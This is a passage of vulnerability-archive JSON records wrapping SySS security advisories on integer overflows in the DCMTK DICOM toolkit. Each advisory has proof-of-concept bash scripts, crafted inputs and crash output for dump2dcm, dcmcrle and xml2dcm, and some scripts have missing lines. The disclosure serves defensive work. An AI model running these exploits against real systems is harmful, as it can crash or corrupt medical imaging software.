and\nreturns the count as the VM:\n\n  unsigned long DcmElement::determineVM(const char *str, const size_t len)\n  {\n      unsigned long vm = 0;\n      if ((str != NULL) \u0026\u0026 (len \u003e 0)) {\n          vm = 1;\n          const char *p = str;\n          for (size_t i = 0; i \u003c len; i++) {\n              if (*p++ == \u0027\\\\\u0027)\n                  vm++;\n          }\n      }\n      return vm;\n  }\n\nThis value is used throughout the VR implementation to allocate typed\narrays:\n\n  - dcvrsl.cc:335: new Sint32[vm]\n  - dcvrul.cc:       new Uint32[vm]\n  - dcvrus.cc:       new Uint16[vm]\n  - dcvrfd.cc:       new Float64[vm]\n  - ... and many more\n\nA crafted ASCII dump containing a numeric VR element with many\nbackslash-separated tokens yields a large VM. Allocating Float64[vm]\nrequires 8 * vm bytes before the converted binary value is inserted into\nthe DICOM object. With sufficiently large inputs on 32-bit builds,\nvm * sizeof(T) can also overflow size_t, producing a small allocation\nthat is subsequently written beyond bounds.\n\nThe attack chain is as follows:\n\n  1. The attacker crafts a textual DICOM dump/XML/JSON with a numeric VR\n     element (SL, UL, FD, etc.) whose value consists of a large number\n     of backslash-delimited tokens.\n\n  2. determineVM() counts the tokens and returns an unbounded VM.\n\n  3. The VR putString() allocates new T[vm] without bounds checking.\n\n  4. Memory exhaustion (DoS) or heap buffer overflow is triggered via\n     an integer overflow in the allocation size.\n\nThis path is reached by APIs and tools that parse textual values into\ntyped numeric VRs, e.g. dump2dcm calling DcmElement::putString().\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nThe following exploit script creates a specially crafted ASCII DICOM\ndump file with a numeric VR element (SL) containing many backslash-\nseparated tokens. This file is processed with dump2dcm under a memory\nlimit to trigger the memory exhaustion (std::bad_alloc).\n\ncat \u003e poc.sh \u003c\u003c \u0027EOPOC\u0027\n#!/bin/bash\n#\n# POC Exploit for unbounded VM allocation in dump2dcm\n# Proof of concept exploit for SYSS-2026-050\n#\n# Creates a crafted ASCII DICOM dump with a numeric VR element (SL)\n# containing NUM_VALUES backslash-separated tokens, then feeds it\n# to dump2dcm under a memory limit to trigger std::bad_alloc.\n#\n\nset -euo pipefail\n\nDUMP2DCM=\"dump2dcm\"\nWORKDIR=\"/tmp/dump2dcm_poc_$$\"\n\nMEMORY_LIMIT=24576   # 24 MB virtual memory limit\n\nSCRIPT_DIR=\"$(cd \"$(dirname \"$0\")\" \u0026\u0026 pwd)\"\n\necho \"=== PoC: Unbounded VM Allocation in dump2dcm ===\"\necho \"\"\necho \"Vulnerability: DcmElement::determineVM() counts backslash delimiters\"\necho \"               without bounds, causing new Sint32[vm] to allocate\"\necho \"               vm * 4 bytes without any cap.\"\necho \"\"\necho \"Configuration:\"\necho \"  Values (VM):      $NUM_VALUES\"\n\necho \"  dump2dcm:         $DUMP2DCM\"\necho \"\"\n\nmkdir -p \"$WORKDIR\"\n\nDUMP_FILE=\"$WORKDIR/exploit.dump\"\nOUTPUT_FILE=\"$WORKDIR/exploit.dcm\"\n\n\n\n# Generate the payload using Python (avoids shell escaping issues)\npython3 \"$SCRIPT_DIR/generate_payload.py\" \"$NUM_VALUES\" \u003e \"$DUMP_FILE\"\n\nDUMP_SIZE=$(du -sh \"$DUMP_FILE\" | cut -f1)\necho \"[+] Crafted dump file: $DUMP_FILE ($DUMP_SIZE)\"\n\necho \"\"\necho \"[*] Running dump2dcm under memory limit (ulimit -v $MEMORY_LIMIT)...\"\necho \"\"\n\n# Run dump2dcm with memory limit\n# +l sets max line length to 10M to accommodate the crafted SL element\nulimit -v \"$MEMORY_LIMIT\"\n\n\necho \"---\"\necho \"Result:\"\necho \"  Exit code: $EXIT_CODE\"\necho \"  Output:\"\necho \"$OUTPUT\" | tail -20\necho \"\"\n\n# Clean up\nrm -rf \"$WORKDIR\"\n\nif [ $EXIT_CODE -ne 0 ]; then\n    echo \"[+] SUCCESS: dump2dcm crashed with exit code $EXIT_CODE\"\n    echo \"    The unbounded VM allocation exhausted memory as expected.\"\nelse\n\nfi\n\necho \"\"\necho \"=== PoC complete ===\"\nEOPOC\n\nThe following output shows a successful exploit crashing dump2dcm:\n\n./poc.sh\n=== PoC: Unbounded VM Allocation in dump2dcm ===\n\nVulnerability: DcmElement::determineVM() counts backslash delimiters\n               without bounds, causing new Sint32[vm] to allocate\n               vm * 4 bytes without any cap.\n\nConfiguration:\n  Values (VM):      4000000\n  Allocation:       Sint32[4000000] = 15 MB\n  Memory limit:     24576 KB (24 MB)\n  dump2dcm:         dump2dcm\n\n\n[+] Crafted dump file: /tmp/dump2dcm_poc_2579/exploit.dump (7.7M)\n\n[*] Running dump2dcm under memory limit (ulimit -v 24576)...\n\n- ---\nResult:\n  Exit code: 134\n  Output:\nterminate called after throwing an instance of \u0027std::bad_alloc\u0027\n  what():  std::bad_alloc\n\n[+] SUCCESS: dump2dcm crashed with exit code 134\n    The unbounded VM allocation exhausted memory as expected.\n\n=== PoC complete ===\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nThis security issue was fixed with the commit\n9cb99f1b0279e3e40243a8b9bd974edf78597a14 (see [4]).\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-02: Vulnerability reported to manufacturer\n2026-07-02: Manufacturer acknowledges receipt of security advisories\n2026-07-03: Security fix published by manufacturer (see [4])\n2026-07-31: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] DCMTK project website\n    https://dcmtk.org/en/\n[2] SySS Security Advisory SYSS-2026-050\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n    https://www.syss.de/en/responsible-disclosure-policy\n[4] DCMTK security fix\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-190",
              "description": "CWE-190",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:11:53Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/28"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/28"
        },
        {
          "url": "https://creativecommons.org/licenses/by/4.0/deed.en"
        },
        {
          "url": "https://dcmtk.org/en/"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.syss.de/en/responsible-disclosure-policy"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/28"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SYSS-2026-050]: DICOM Toolkit (DCMTK) - Integer Overflow or Wraparound (CWE-190)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0027",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/28",
            "automated": true,
            "contentSha256": "c35c1b26ce0505ed151309b9cafa170f277e270bb50d414ec4a7a4bbdcce2835",
            "evidenceScore": 10,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/28",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-31T08:02:55Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:20Z",
    "dateUpdated": "2026-09-09T10:11:53Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0027"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "DICOM Toolkit",
          "vendor": "Dicom",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Matthias Deeg via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Advisory ID:               SYSS-2026-049\nProduct:                   DCMTK (DICOM ToolKit)\nManufacturer:              OFFIS e.V. / DCMTK Community\nAffected Version(s):       3.7.0\nTested Version(s):         3.7.0\nVulnerability Type:        Integer Overflow or Wraparound (CWE-190)\nRisk Level:                High\nSolution Status:           Fixed\nManufacturer Notification: 2026-07-02\nSolution Date:             2026-07-03\nPublic Disclosure:         2026-07-31\nCVE Reference:             Not yet assigned\nAuthor of Advisory:        Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nDCMTK (DICOM ToolKit) is an open-source collection of libraries and\napplications implementing large parts of the DICOM (Digital Imaging\nand Communications in Medicine) standard (see [1]).\n\nThe Run-Length Encoded (RLE) compression codec encoder is vulnerable to\nan integer overflow in the expected-size sanity check. An attacker who\ncan supply a crafted DICOM file with attacker-controlled image dimensions\ncan bypass the sanity check and cause the encoder to read beyond the\nPixel Data heap allocation.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe function DcmRLECodecEncoder::encode() in libsrc/dcrlecce.cc (lines 186,\n215-216, 243, and 256-268) performs a sanity check using 32-bit arithmetic\nfor attacker-controlled dimensions:\n\n  if (numberOfStripes * columns * rows * numberOfFrames \u003e length)\n      result = EC_CannotChangeRepresentation;\n\n  const Uint32 bytesPerStripe = columns * rows;\n\n\n  frameOffset = frameSize * currentFrame;\n  pixelPointer = pixelData8 + frameOffset + sampleOffset +\n                 bytesAllocated - byte - 1;\n  for (pixel = 0; pixel \u003c bytesPerStripe; ++pixel)\n      rleEncoder-\u003eadd(*pixelPointer);\n\nThe sanity check uses 32-bit arithmetic. With Rows=65535, Columns=65535,\nBitsAllocated=8, SamplesPerPixel=1, and NumberOfFrames=131073, the\nexpected byte count wraps to 1, so a two-byte Pixel Data element passes\nthe check. The encoder then sets bytesPerStripe to 65535 * 65535 and\nreads past the two-byte heap allocation almost immediately.\n\nThe attack chain is as follows:\n\n  1. The attacker crafts a DICOM file with carefully chosen Rows, Columns,\n     and NumberOfFrames values that make the sanity product overflow\n     to a small value.\n\n  2. The Pixel Data element is set to the small overflowed size.\n\n  3. The sanity check passes, because the overflowed product is \u003c= length.\n\n  4. The encoder enters the stripe loop with the correct (large)\n     bytesPerStripe value.\n\n  5. The encoder reads beyond the Pixel Data heap allocation.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nThe following PoC script demonstrates this security vulnerability:\n\ncat \u003e poc.sh \u003c\u003c \u0027EOPOC\u0027\n#!/bin/bash\n# Demonstrate the RLE encoder size-check overflow through dcmcrle\n# Proof of concept exploit for SYSS-2026-049\n\nset -u\n\nPOC_DIR=\"$(cd \"$(dirname \"$0\")\" \u0026\u0026 pwd)\"\nWORKDIR=\"$(mktemp -d /tmp/dcmtk-dcmcrle.XXXXXX)\"\nINPUT_DUMP=\"${WORKDIR}/poc.dump\"\nINPUT_DCM=\"${WORKDIR}/poc.dcm\"\nOUTPUT_DCM=\"${WORKDIR}/poc.rle.dcm\"\nLOG=\"${WORKDIR}/dcmcrle.valgrind.log\"\n\ncleanup()\n{\n    rm -rf \"${WORKDIR}\"\n}\ntrap cleanup EXIT\n\nrequire_tool()\n{\n    command -v \"$1\" \u003e/dev/null 2\u003e\u00261 || {\n        echo \"[!] Missing required tool: $1\"\n        exit 1\n    }\n}\n\nrequire_tool dump2dcm\nrequire_tool dcmdump\nrequire_tool dcmcrle\nrequire_tool valgrind\nrequire_tool timeout\n\ncp \"${POC_DIR}/exploit_cli.dump\" \"${INPUT_DUMP}\"\n\necho \"[*] RLE encoder expected-size overflow via dcmcrle\"\necho \"[*] Building crafted DICOM input with dump2dcm\"\ndump2dcm \"${INPUT_DUMP}\" \"${INPUT_DCM}\" || exit 1\n\necho \"[*] Crafted image parameters:\"\n\necho \"[*] 32-bit sanity product: 1 * 2 * 65535 * 2147418111 == 2 (mod 2^32)\"\necho \"[*] Running dcmcrle under Valgrind to stop at the first invalid read\"\n\nset +e\ntimeout 20 valgrind --quiet --error-exitcode=99 --exit-on-first-error=yes \\\n    dcmcrle \"${INPUT_DCM}\" \"${OUTPUT_DCM}\" \u003e\"${LOG}\" 2\u003e\u00261\nRC=$?\nset -e\n\ncat \"${LOG}\"\n\nif [ \"${RC}\" -eq 99 ] \u0026\u0026\n   grep -q \"Invalid read of size 1\" \"${LOG}\" \u0026\u0026\n   grep -q \"DcmRLECodecEncoder::encode\" \"${LOG}\" \u0026\u0026\n   grep -q \"dcrlecce.cc:268\" \"${LOG}\" \u0026\u0026\n   grep -q \"0 bytes after a block of size 2\" \"${LOG}\"; then\n\n    exit 0\nfi\n\necho \"[!] FAILED: expected Valgrind invalid-read evidence was not observed\"\necho \"[!] Workdir retained for inspection: ${WORKDIR}\"\ntrap - EXIT\nexit 1\nEOPOC\n\n\nThe exploit causes the RLE encoder to segfault when reading the guard\npage, confirming the out-of-bounds read.\n\n./poc.sh\n[*] RLE encoder expected-size overflow via dcmcrle\n[*] Building crafted DICOM input with dump2dcm\n[*] Crafted image parameters:\n\n(0028,0010) US 65535                                    #   2, 1 Rows\n(0028,0011) US 2                                        #   2, 1 Columns\n\n(7fe0,0010) OB 41\\42                                    #   2, 1 PixelData\n[*] 32-bit sanity product: 1 * 2 * 65535 * 2147418111 == 2 (mod 2^32)\n[*] Running dcmcrle under Valgrind to stop at the first invalid read\n==53104== Invalid read of size 1\n==53104==    at 0x49CB83A: UnknownInlinedFun (dcrleenc.h:103)\n\n==53104==    by 0x40044D2: main (dcmcrle.cc:295)\n==53104==  Address 0x5dbe8b2 is 0 bytes after a block of size 2 alloc\u0027d\n\n==53104==    by 0x495ACA7: DcmElement::newValueField() (dcelem.cc:708)\n\n==53104==\n==53104==\n==53104== Exit program on first error (--exit-on-first-error=yes)\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nThis security issue was fixed with the commit\n7e9a836672baad9e3b03fcde160d5e16de681bd5 (see [4]).\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-02: Vulnerability reported to manufacturer\n2026-07-02: Manufacturer acknowledges receipt of security advisories\n2026-07-03: Security fix published by manufacturer (see [4])\n2026-07-31: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] DCMTK project website\n    https://dcmtk.org/en/\n[2] SySS Security Advisory SYSS-2026-049\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n    https://www.syss.de/en/responsible-disclosure-policy\n[4] DCMTK security fix\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-190",
              "description": "CWE-190",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:11:54Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/27"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/27"
        },
        {
          "url": "https://creativecommons.org/licenses/by/4.0/deed.en"
        },
        {
          "url": "https://dcmtk.org/en/"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.syss.de/en/responsible-disclosure-policy"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/27"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SYSS-2026-049]: DICOM Toolkit (DCMTK) - Integer Overflow or Wraparound (CWE-190)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0026",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/27",
            "automated": true,
            "contentSha256": "cffd9c10f0b26754d6817aae05cf938555bd615599b8568770c4f94ee5ddcdf4",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/27",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-31T08:01:52Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:20Z",
    "dateUpdated": "2026-09-09T10:11:54Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0026"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "DICOM Toolkit",
          "vendor": "Dicom",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Matthias Deeg via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Advisory ID:               SYSS-2026-048\nProduct:                   DCMTK (DICOM ToolKit)\nManufacturer:              OFFIS e.V. / DCMTK Community\nAffected Version(s):       3.7.0\nTested Version(s):         3.7.0\nVulnerability Type:        Integer Overflow or Wraparound (CWE-190)\nRisk Level:                High\nSolution Status:           Fixed\nManufacturer Notification: 2026-07-02\nSolution Date:             2026-07-03\nPublic Disclosure:         2026-07-31\nCVE Reference:             Not yet assigned\nAuthor of Advisory:        Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nDCMTK (DICOM ToolKit) is an open-source collection of libraries and\napplications implementing large parts of the DICOM (Digital Imaging\nand Communications in Medicine) standard (see [1]).\n\nThe xml2dcm application and the DcmXMLReader library are vulnerable to\na heap buffer overflow when importing external binary files larger than\n4 GiB via the binary=\"file\" XML attribute. The file size is measured as\nsize_t but narrowed to Uint32 for the heap allocation, while the full\nsize_t length is used as the fread() read size.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe function DcmXMLReader::createBinaryElementFromFile() in\nlibdcxml/xml2dcm.cc (lines 311-330) imports external binary files\nreferenced by binary=\"file\" in XML:\n\n  const size_t fileSize = OFStandard::getFileSize(filename);\n  size_t buflen = fileSize;\n  if (buflen \u0026 1)\n      buflen++;\n\n  if (dcmEVR == EVR_OW)\n      result = element-\u003ecreateUint16Array(\n          OFstatic_cast(Uint32, buflen / 2), buf16);\n  else\n      result = element-\u003ecreateUint8Array(\n          OFstatic_cast(Uint32, buflen), buf);\n\n  if (fread(buf, 1, OFstatic_cast(size_t, fileSize), f) != fileSize) ...\n\nThe file size is measured as size_t, narrowed to Uint32 for allocation,\nand then used as the full size_t read length.\n\nThe attack chain is as follows:\n\n  1. The attacker creates a file larger than 4 GiB (e.g. 4294967297 bytes).\n\n  2. The attacker crafts a DICOM XML with binary=\"file\" referencing the\n     large file.\n\n  3. xml2dcm reads the file size as size_t (4294967297).\n\n  4. createUint8Array() allocates only the low 32 bits (2 bytes).\n\n  5. fread() writes 4294967297 bytes into the 2-byte buffer.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nThe following exploit script creates a sparse 4294967297-byte file and\na DICOM XML referencing it as Pixel Data (OB binary=\"file\"), and then runs\nxml2dcm:\n\ncat \u003e poc.sh \u003c\u003c \u0027EOPOC\u0027\n#!/bin/bash\n#\n# XML binary=\"file\" Length Truncation -\u003e Heap Buffer Overflow\n# Proof of concept exploit for SYSS-2026-048\n#\n# xml2dcm measures file size as size_t, narrows to Uint32 for allocation,\n# then uses full size_t for fread \u2014 causing heap overflow for files \u003e 4 GiB.\n#\n# A sparse file of 4 GiB + 1 byte takes 0 bytes of disk space.\n#   fileSize = 4294967297 (0x100000001)\n#   buflen   = 4294967298 (odd, rounded up)\n\n#\n\nset -euo pipefail\n\nXML2DCM=\"xml2dcm\"\nWORKDIR=\"/tmp/h4_poc_$$\"\nSPARSE_SIZE=4294967297  # 4 GiB + 1 byte\n\necho \"=== PoC: XML binary=\\\"file\\\" Length Truncation -\u003e Heap Overflow ===\"\necho \"\"\necho \"Vulnerability: xml2dcm.cc:311-330\"\necho \"  size_t fileSize = OFStandard::getFileSize(filename);   // 64-bit\"\n\necho \"\"\necho \"Configuration:\"\n\necho \"  Allocation:       Uint32($SPARSE_SIZE) = 2 bytes (truncated!)\"\necho \"  fread length:     $SPARSE_SIZE bytes (full size_t)\"\necho \"  xml2dcm:          $XML2DCM\"\necho \"\"\n\nmkdir -p \"$WORKDIR\"\n\n# Step 1: Create sparse file\nSPARSE_FILE=\"$WORKDIR/large.bin\"\necho \"[*] Creating sparse file of $SPARSE_SIZE bytes (0 bytes on disk)...\"\ntruncate -s \"$SPARSE_SIZE\" \"$SPARSE_FILE\"\necho \"[+] Sparse file: $SPARSE_FILE\"\nls -lh \"$SPARSE_FILE\"\n\n# Step 2: Create XML referencing the sparse file\nXML_FILE=\"$WORKDIR/exploit.xml\"\necho \"\"\necho \"[*] Creating XML file with binary=\\\"file\\\" reference...\"\ncat \u003e \"$XML_FILE\" \u003c\u003c XMLEOF\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003cfile-format xmlns=\"http://dicom.offis.de/dcmtk\";\u003e\n\n\u003cdata-set xfer=\"1.2.840.10008.1.2\"\u003e\n  \u003celement tag=\"0008,0016\" vr=\"UI\"\u003e1.2.840.10008.1.2\u003c/element\u003e\n  \u003celement tag=\"0008,0018\" vr=\"UI\"\u003e1.2.3.4.5.6.7.8.9\u003c/element\u003e\n  \u003celement tag=\"7FE0,0010\" vr=\"OB\" binary=\"file\"\u003e$SPARSE_FILE\u003c/element\u003e\n\u003c/data-set\u003e\n\u003c/file-format\u003e\nXMLEOF\necho \"[+] XML file: $XML_FILE\"\n\n# Step 3: Run xml2dcm\nOUTPUT_FILE=\"$WORKDIR/output.dcm\"\necho \"\"\necho \"[*] Running xml2dcm...\"\necho \"\"\n\n\n\necho \"---\"\necho \"Result:\"\necho \"  Exit code: $EXIT_CODE\"\necho \"  Output:\"\necho \"$OUTPUT\"\necho \"\"\n\n# Clean up\nrm -rf \"$WORKDIR\"\n\nif [ $EXIT_CODE -ne 0 ]; then\n    echo \"[+] SUCCESS: xml2dcm crashed with exit code $EXIT_CODE\"\n    echo \"    The 4 GiB + 1 byte sparse file was allocated as 2 bytes\"\n    echo \"    and fread wrote 4 GiB into it, corrupting the heap.\"\nelse\n    echo \"[-] FAIL: xml2dcm did not crash.\"\nfi\n\necho \"\"\necho \"=== PoC complete ===\"\nEOPOC\n\nThe exploit causes xml2dcm to abort with \"malloc(): invalid size\n(unsorted)\" (SIGABRT), confirming the truncated allocation and heap\ncorruption.\n\n=== PoC: XML binary=\"file\" Length Truncation -\u003e Heap Overflow ===\n\nVulnerability: xml2dcm.cc:311-330\n  size_t fileSize = OFStandard::getFileSize(filename);   // 64-bit\n\n\nConfiguration:\n\n  Allocation:       Uint32(4294967297) = 2 bytes (truncated!)\n  fread length:     4294967297 bytes (full size_t)\n  xml2dcm:          xml2dcm\n\n[*] Creating sparse file of 4294967297 bytes (0 bytes on disk)...\n[+] Sparse file: /tmp/h4_poc_50290/large.bin\n- -rw-r--r-- 1 matt matt 4.1G Jun 30 17:44 /tmp/h4_poc_50290/large.bin\n\n[*] Creating XML file with binary=\"file\" reference...\n[+] XML file: /tmp/h4_poc_50290/exploit.xml\n\n[*] Running xml2dcm...\n\n- ---\nResult:\n  Exit code: 134\n  Output:\nmalloc(): invalid size (unsorted)\n\n[+] SUCCESS: xml2dcm crashed with exit code 134\n    The 4 GiB + 1 byte sparse file was allocated as 2 bytes\n    and fread wrote 4 GiB into it, corrupting the heap.\n\n=== PoC complete ===\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nThis security issue was fixed with the commit\nebeafd016bcef34021111550cc2a644129d89825 (see [4]).\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-02: Vulnerability reported to manufacturer\n2026-07-02: Manufacturer acknowledges receipt of security advisories\n2026-07-03: Security fix published by manufacturer (see [4])\n2026-07-31: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] DCMTK project website\n    https://dcmtk.org/en/\n[2] SySS Security Advisory SYSS-2026-048\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n    https://www.syss.de/en/responsible-disclosure-policy\n[4] DCMTK security fix\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the 